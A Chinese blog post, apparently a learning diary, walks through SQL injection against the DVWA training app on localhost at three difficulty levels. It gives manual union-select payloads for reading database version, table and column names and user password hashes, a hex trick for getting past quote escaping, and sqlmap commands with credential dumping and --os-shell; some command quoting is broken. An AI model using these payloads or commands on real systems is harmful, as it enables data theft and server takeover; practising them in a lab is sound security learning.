DVWA学习日记-6 SQL回显注入

SQL回显注入
概述
命令注入漏洞和sql注入漏洞都是用把注入的数据当做代码来执行,区别在于命令注入漏洞注入的是系统命令,sql注入的是sql语句

sql语句就是操作数据库的语句,就是通过WEB操作在数据库执行任意SQL语句,所谓的sql注入漏洞是非常普遍的安全漏洞,本笔记是sql回显注入,就是会把sql注入数据库执行结果显示在页面上

准备
Firefox
DVWA
Hackbar
Firebug
Tamper Data
SQLMAP

手工实战
1.首先国际惯例正常操作
输入1
在这里插入图片描述
2.猜测一下sql语句
select firstname,surname from xxx
select firstname,sunname from xxx where userid=我们输入的id

3.探测是否存在漏洞
输入1’ 回显了报错
在这里插入图片描述
4.三种注入POC

...where user_id = $id	//没有引号 可以直接使用下面拼接语句
...where user_id = 1 or 1024=1024		//1024=1024为真

...where user_id = '$id'		//单引号 可以使用下面拼接语句
...where user_id = '1' or '1024'='1024'

...where user_id = "$id"		//双引号 可以使用下面拼接语句
...where user_id = "1" or "1024" ="1024"

5.确定注入POC
首先尝试数字型
1 or 1024=1024 执行不成功
在这里插入图片描述
尝试单引号
1’or ‘1024’='1024 执行成功
在这里插入图片描述
尝试双引号 执行失败
1" or “1024”=“1024”
在这里插入图片描述
3.我们确定了是单引号闭合的
小技巧:三种注释符
在sql注入中通常需要闭合,如果语句比较复杂,我们会使用注释符号闭合

#(忽略)	井号后面的都可以忽略掉(在url中#号区分常编码%23)
--(忽略) 与井号类似(注意短线短线空格)
/*(忽略)*/ 在sql注入中一般不是绕过的话,不会使用,多行注释,至少两处输入,/**/注入中常用来作为空格

4.确定查询字段数
首先要先给id=1’报错,否则会变成查询语句
1’ order by 1#
1’ order by 2#
1’ order by 3#
在这里插入图片描述
5.确认查询字段数
发现异常,说明字段数小于3也就是字段数为2
在这里插入图片描述
6.确定回显点
id=1’ union select 1,2#
在这里插入图片描述
7.查询数据库信息
1’ union select @@version,@@datadir#
将1,2字段分别替换成@@version和@@datadir
成功获取在这里插入图片描述
再利用user(),database()查看用户名和数据库名
在这里插入图片描述
8.首先我们知道了数据库,就要知道数据表
数据库名:dvwa
查询表名:
查询table_name 在系统库里的tables表,条件是table表_schema的架构

1’ union select 1,table_name from information_schema.tables where table_schema=‘dvwa’

这里我们知道了表名叫users
在这里插入图片描述

9.查询列名
查找列名在系统库里的字段表,条件是表名是users

id?=1’ union select column_name from information_schema.columns where table_name=’users‘#
这里我们发现了敏感信息
在这里插入图片描述
10.查询用户名和密码
1’ union select user,password from users#
在这里插入图片描述
11获取明文密码
http://www.cmd5.com/
在这里插入图片描述
12.文件读取
使用load_file函数
在这里插入图片描述
13.随便
自动化实战
sqlmap
攻击参数:-p
因为我们有登陆界面所以需要–cookies的参数

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit# -p "id" --cookie"security=low; PHPSESSID=98a308e74bad0e6b0cec16e667effa5a

在这里插入图片描述
14.当前用户和数据库名
后面添加了–current-user --current-db
获取了用户

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit# -p "id" --cookie"security=low; PHPSESSID=98a308e74bad0e6b0cec16e667effa5a --current-user --current-db

在这里插入图片描述
15.查询表名
发现有两个表,一个guestbook和users

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit# -p "id" --cookie"security=low; PHPSESSID=98a308e74bad0e6b0cec16e667effa5a -D dvwa --tables

在这里插入图片描述
16.查找列名

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit# -p "id" --cookie"security=low; PHPSESSID=98a308e74bad0e6b0cec16e667effa5a -D dvwa --tables -T users -columns

在这里插入图片描述
17.用户名密码
sqlmap自动破解md5

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit# -p "id" --cookie"security=low; PHPSESSID=98a308e74bad0e6b0cec16e667effa5a -D dvwa --tables -T users -C "user,password” --dump

在这里插入图片描述

获取webshell

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit# -p "id" --cookie"security=low; PHPSESSID=98a308e74bad0e6b0cec16e667effa5a -D dvwa --tables -T users -C "user,password” --os-shell

在这里插入图片描述
18.进入中等难度
发现不再是文本框了,点击提交尝试正常操作
发现了是个post的请求,发现参数这两个
在这里插入图片描述
19.我们这里使用到tamperdata插件来改包
在这里插入图片描述
20.修改数据包
修改为union select user,password from users#
在这里插入图片描述
结果执行失败
在这里插入图片描述
21.发现我们的单引号被转义成反斜杠
尝试其他注入POC
1" or “1024”=“1024” 失败
1’ or ‘1024’=‘1024’ 失败
1 or 1024=1024 成功
在这里插入图片描述
21.数字型注入
在这里插入图片描述
22.列表名
1 union select 1,table_name from information.tables where table_schema =‘dvwa’#
我们发现这个也会有单引号会转义的
我们可以使用hex编码进行转义
得到
在这里插入图片描述
得到0x64767761
在这里插入图片描述
23.最后重新发包
1 union select 1,table_name from information_schema.tables where table_schema =0x64767761#
在这里插入图片描述
查看源代码
转义特殊字符
在这里插入图片描述

24.中等难度sqlmap
比简单的多了–data,执行成功

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/#" --data "id=1&Submit=Submit" -p "id" --cookie "security=medium; PHPSESSID=a783de8deddc1b1bc1b00d2a4ce43d9f"

在这里插入图片描述
25.进入高难度模式
首先正常操作,发现是一个超链接,点进去
在这里插入图片描述
26.发现另一个页面输入内容,原页面会显示数据
在这里插入图片描述
27.先确定注入POC
首先使用单引号 执行成功
在这里插入图片描述
查看源代码
在这里插入图片描述

28.最后sqlmap
多使用到的参数就是–second-order

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/#" --data "id=1&Submit=Submit" -p "id" --cookie "security=medium; PHPSESSID=a783de8deddc1b1bc1b00d2a4ce43d9f" --second-url "http://localhost/DVWA-master/vulnerabilities/sqli/"

在这里插入图片描述
29.获取用户名密码

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/#" --data "id=1&Submit=Submit" -p "id" --cookie "security=medium; PHPSESSID=a783de8deddc1b1bc1b00d2a4ce43d9f" --second-url "http://localhost/DVWA-master/vulnerabilities/sqli/" -D dvwa -T users -C 
"user,password" --dump

在这里插入图片描述

  • 2
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值